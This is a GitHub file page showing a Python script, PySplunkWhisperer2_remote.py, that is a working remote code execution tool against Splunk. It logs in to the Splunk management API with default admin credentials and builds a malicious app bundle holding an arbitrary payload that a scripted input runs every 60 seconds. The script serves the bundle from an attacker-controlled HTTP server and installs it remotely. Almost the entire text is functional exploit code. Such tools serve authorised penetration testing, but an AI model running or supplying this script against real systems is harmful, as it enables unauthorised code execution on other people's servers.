-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathPySplunkWhisperer2_remote.py
More file actions
147 lines (117 loc) · 4.98 KB
/
PySplunkWhisperer2_remote.py
File metadata and controls
147 lines (117 loc) · 4.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import sys, os, tempfile, shutil
import tarfile
import requests
import socketserver
from http.server import SimpleHTTPRequestHandler
import argparse
import threading
requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
SPLUNK_APP_NAME = '_PWN_APP_'
def create_splunk_bundle(options):
tmp_path = tempfile.mkdtemp()
os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME))
bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin")
os.mkdir(bin_dir)
pwn_file = os.path.join(bin_dir, options.payload_file)
open(pwn_file, "w").write(options.payload)
# make the script executable - not 100% certain this makes a difference
os.chmod(pwn_file, 0o700)
local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local")
os.mkdir(local_dir)
inputs_conf = os.path.join(local_dir, "inputs.conf")
with open(inputs_conf, "w") as f:
inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file)
inputs += 'disabled = false\n'
inputs += 'index = default\n'
inputs += 'interval = 60.0\n'
inputs += 'sourcetype = test\n'
f.write(inputs)
(fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar')
os.close(fd)
with tarfile.TarFile(tmp_bundle, mode="w") as tf:
tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME)
shutil.rmtree(tmp_path)
return tmp_bundle
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self):
global BUNDLE_FILE
bundle = open(BUNDLE_FILE, 'rb').read()
self.send_response(200)
self.send_header('Expires', 'Thu, 26 Oct 1978 00:00:00 GMT')
self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')
self.send_header('Content-type', 'application/tar')
self.send_header('Content-Disposition', 'attachment; filename="splunk_bundle.tar"')
self.send_header('Content-Length', len(bundle))
self.end_headers()
self.wfile.write(bundle)
class ThreadedHTTPServer(object):
"""Runs SimpleHTTPServer in a thread
Lets you start and stop an instance of SimpleHTTPServer.
"""
def __init__(self, host, port, request_handler=SimpleHTTPRequestHandler):
"""Prepare thread and socket server
Creates the socket server that will use the HTTP request handler. Also
prepares the thread to run the serve_forever method of the socket
server as a daemon once it is started
"""
socketserver.TCPServer.allow_reuse_address = True
self.server = socketserver.TCPServer((host, int(port)), request_handler)
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
def stop(self):
"""Stop the HTTP server
Stops the server and cleans up the port assigned to the socket
"""
self.server.shutdown()
self.server.server_close()
parser = argparse.ArgumentParser()
parser.add_argument('--scheme', default="https")
parser.add_argument('--host', required=True)
parser.add_argument('--port', default=8089)
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', default=8181)
parser.add_argument('--username', default="admin")
parser.add_argument('--password', default="changeme")
parser.add_argument('--payload', default="calc.exe")
parser.add_argument('--payload-file', default="pwn.bat")
options = parser.parse_args()
print("Running in remote mode (Remote Code Execution)")
SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )
s = requests.Session()
s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
s.verify = False
print("[.] Authenticating...")
req = s.get(SPLUNK_BASE_API)
if req.status_code == 401:
print("Authentication failure")
print("")
print(req.text)
sys.exit(-1)
print("[+] Authenticated")
print("[.] Creating malicious app bundle...")
BUNDLE_FILE = create_splunk_bundle(options)
print("[+] Created malicious app bundle in: " + BUNDLE_FILE)
httpd = ThreadedHTTPServer(options.lhost, options.lport, request_handler=CustomHandler)
print("[+] Started HTTP server for remote mode")
lurl = "http://{}:{}/".format(options.lhost, options.lport)
print("[.] Installing app from: " + lurl)
req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
if req.status_code != 200 and req.status_code != 201:
print("Got a problem: " + str(req.status_code))
print("")
print(req.text)
print("[+] App installed, your code should be running now!")
print("\nPress RETURN to cleanup")
input()
os.remove(BUNDLE_FILE)
print("[.] Removing app...")
req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
if req.status_code != 200 and req.status_code != 201:
print("Got a problem: " + str(req.status_code))
print("")
print(req.text)
print("[+] App removed")
httpd.stop()
print("[+] Stopped HTTP server")
print("Bye!")